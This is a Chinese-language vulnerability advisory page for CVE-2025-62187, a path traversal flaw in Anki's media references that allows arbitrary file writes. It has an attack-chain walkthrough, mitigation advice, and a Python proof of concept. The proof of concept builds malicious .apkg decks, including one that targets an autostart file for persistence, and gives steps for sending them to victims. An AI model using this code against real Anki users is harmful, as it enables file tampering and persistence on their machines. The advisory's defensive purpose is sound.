IPBUF安全漏洞报告
English
CVE-2025-62187 CVSS 2.9 低危

CVE-2025-62187:Anki媒体文件路径遍历导致任意文件写入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-62187
漏洞类型
路径遍历/任意文件写入
CVSS评分
2.9 低危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ankitects Anki

相关标签

路径遍历任意文件写入CVE-2025-62187AnkiAnkitects媒体文件处理本地漏洞低危漏洞WindowsLinux

漏洞概述

CVE-2025-62187是Ankitects Anki(一个流行的间隔重复记忆卡片软件)中存在的一个路径遍历漏洞。该漏洞存在于25.02.6版本之前,影响Windows和Linux平台。Anki在处理卡片中的媒体文件引用(如音频文件)时,未对文件路径进行充分的验证和限制,允许攻击者通过构造特殊的音频文件引用,使媒体文件的写入路径不再局限于Anki的媒体文件夹内,而是可以写入到系统中的任意位置。

该漏洞的CVSS 3.1评分为2.9分,属于低危级别。虽然评分较低,但其安全影响不容忽视——攻击者可以利用此漏洞在受害者系统上的任意位置写入文件。结合其他漏洞(如代码执行漏洞),此漏洞可能被用于更复杂的攻击链中,例如覆盖关键配置文件、植入恶意脚本或实现权限提升。

该漏洞由[email protected]报告,披露日期为2025年10月7日。Ankitects项目组已通过Pull Request #4041修复了该问题,并在25.02.6版本中发布了修复补丁。用户应尽快升级到最新版本以消除风险。

技术细节

Anki使用SQLite数据库存储卡片内容,其中包含对媒体文件(如音频、图片)的引用。在处理这些引用时,Anki会从媒体文件夹(collection.media)中加载对应的文件。

漏洞的根本原因在于:Anki在解析和处理卡片中的[sound:...]标签或其他媒体引用时,没有对引用的文件路径进行严格的验证。具体来说,程序未检查路径中是否包含目录遍历序列(如../)或绝对路径(如C:\或/),导致攻击者可以在卡片中嵌入类似[sound:../../../../../../tmp/malicious_file]的引用。

当Anki处理包含此类恶意引用的卡片时,会按照提供的路径解析文件位置,而不是将其限制在媒体文件夹内。这使得攻击者能够将文件写入到文件系统中的任意位置。

利用条件:
1. 攻击者需要制作包含恶意媒体引理的Anki卡片包(.apkg文件)
2. 受害者需要导入并使用该卡片包
3. 攻击者的目标平台为Windows或Linux

利用方式相对简单:攻击者只需在卡片的媒体引用中使用路径遍历序列即可触发漏洞。由于CVSS向量显示无需用户交互(UI:N)和无需认证(PR:N),但需要本地访问(AV:L),这意味着攻击需要受害者本地导入恶意卡片包。

攻击链分析

STEP 1
步骤1:制作恶意Anki卡片包
攻击者创建一个包含恶意媒体引用的Anki卡片包(.apkg文件)。在卡片的字段中嵌入带有路径遍历序列的[sound:]标签,例如[sound:../../../../tmp/evil_file],指向Anki媒体文件夹之外的位置。
STEP 2
步骤2:分发恶意卡片包
攻击者通过社交工程手段(如分享学习材料、导入公共牌组等)将恶意.apkg文件分发给目标用户。由于.apkg文件是Anki的标准导入格式,用户通常不会对其产生怀疑。
STEP 3
步骤3:受害者导入卡片包
受害者在运行Anki(版本低于25.02.6)的系统上导入恶意.apkg文件。Anki解压包并将媒体文件复制到collection.media文件夹中。
STEP 4
步骤4:触发路径遍历写入
当受害者查看/复习包含恶意引用的卡片时,Anki解析[sound:]标签中的路径。由于未对路径进行验证,程序按照遍历路径解析文件位置,将文件写入到攻击者指定的目标位置。
STEP 5
步骤5:利用写入的文件
攻击者写入的文件可以用于多种恶意目的:覆盖关键配置文件实现权限提升、植入恶意脚本/可执行文件实现持久化,或结合其他漏洞实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62187 PoC - Anki Path Traversal Arbitrary File Write # This PoC demonstrates how crafted sound file references in Anki cards # can cause files to be written to arbitrary locations. import zipfile import os import sqlite3 import tempfile import json def create_malicious_apkg(output_path, target_path="../../../../../../tmp/pwned.txt"): """ Create a malicious Anki package (.apkg) that exploits CVE-2025-62187 by using a path traversal sequence in a sound file reference. Args: output_path: Path where the malicious .apkg will be saved target_path: The traversal path to write to (relative to media folder) """ # Create a temporary directory for building the package with tempfile.TemporaryDirectory() as tmpdir: # Step 1: Create the malicious media file that will be written media_filename = "evil_audio.mp3" media_content = b"FAKE_MP3_CONTENT_FOR_POC" media_path = os.path.join(tmpdir, media_filename) with open(media_path, 'wb') as f: f.write(media_content) # Step 2: Create the collection database with malicious card db_path = os.path.join(tmpdir, "collection.anki2") conn = sqlite3.connect(db_path) cursor = conn.cursor() # Create minimal Anki schema cursor.execute("""CREATE TABLE col ( id INTEGER PRIMARY KEY, crt INTEGER, mod INTEGER, scm INTEGER, ver INTEGER, dty INTEGER, usn INTEGER, ls INTEGER, conf TEXT, models TEXT, decks TEXT, dconf TEXT, tags TEXT )""") cursor.execute("""CREATE TABLE notes ( id INTEGER PRIMARY KEY, guid TEXT, mid INTEGER, mod INTEGER, usn INTEGER, tags TEXT, flds TEXT, sfld TEXT, csum INTEGER, flags INTEGER, data TEXT )""") # Create a card with a malicious sound reference using path traversal # The [sound:...] tag with traversal sequence will cause Anki to # write the referenced file to an arbitrary location malicious_field = f'Card with malicious audio [sound:{target_path}]' cursor.execute( "INSERT INTO notes (id, guid, mid, mod, usn, tags, flds, sfld, csum, flags, data) " "VALUES (1, 'evil_guid', 1, 0, -1, '', ?, ?, 0, 0, '')", (malicious_field, malicious_field) ) conn.commit() conn.close() # Step 3: Create the media database mapping media_db_path = os.path.join(tmpdir, "media") media_conn = sqlite3.connect(media_db_path) media_cursor = media_conn.cursor() media_cursor.execute("CREATE TABLE media (fname TEXT PRIMARY KEY, csum TEXT)") # Map the malicious filename in the media database media_cursor.execute("INSERT INTO media VALUES (?, ?)", (media_filename, "fakechecksum")) media_conn.commit() media_conn.close() # Step 4: Package everything into .apkg (which is a ZIP file) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: zf.write(db_path, "collection.anki2") zf.write(media_db_path, "media") zf.write(media_path, media_filename) print(f"[+] Malicious .apkg created at: {output_path}") print(f"[+] Target write location (traversal): {target_path}") print(f"[+] When imported into Anki < 25.02.6, this will write a file") print(f" outside the media folder to the traversed path.") def demonstrate_exploitation(): """ Demonstrate the exploitation of CVE-2025-62187 with various targets. """ # Example 1: Write to /tmp on Linux print("=" * 60) print("CVE-2025-62187 - Anki Path Traversal PoC") print("=" * 60) # Linux target create_malicious_apkg( "exploit_linux.apkg", target_path="../../../../../../tmp/cve_2025_62187_pwned.txt" ) # Windows target create_malicious_apkg( "exploit_windows.apkg", target_path="..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Users\\\\Public\\\\cve_2025_62187.txt" ) # Write to user's startup folder (persistence) create_malicious_apkg( "exploit_persistence.apkg", target_path="../../../../../../home/user/.config/autostart/malicious.desktop" ) print("\n[!] To exploit:") print(" 1. Send the .apkg file to a victim using Anki < 25.02.6") print(" 2. Victim imports the deck") print(" 3. When the card is reviewed, Anki processes the sound reference") print(" 4. The referenced file is written to the traversed path") print(" 5. File now exists at attacker-controlled location") if __name__ == "__main__": demonstrate_exploitation()

影响范围

Ankitects Anki < 25.02.6

防御指南

临时缓解措施
在无法立即升级到25.02.6版本的情况下,建议采取以下临时缓解措施:1)严格审查所有待导入的.apkg文件来源,避免导入不可信的卡片包;2)在导入前手动解压.apkg文件(ZIP格式),检查collection.anki2数据库中的卡片内容,确认媒体引用路径中不包含../等路径遍历序列;3)使用文件访问控制列表(ACL)限制Anki进程的写入权限,仅允许其访问collection.media文件夹;4)在Linux系统上,可使用AppArmor或SELinux配置文件沙箱限制Anki的文件写入范围;5)监控Anki进程的异常文件写入行为,及时发现潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表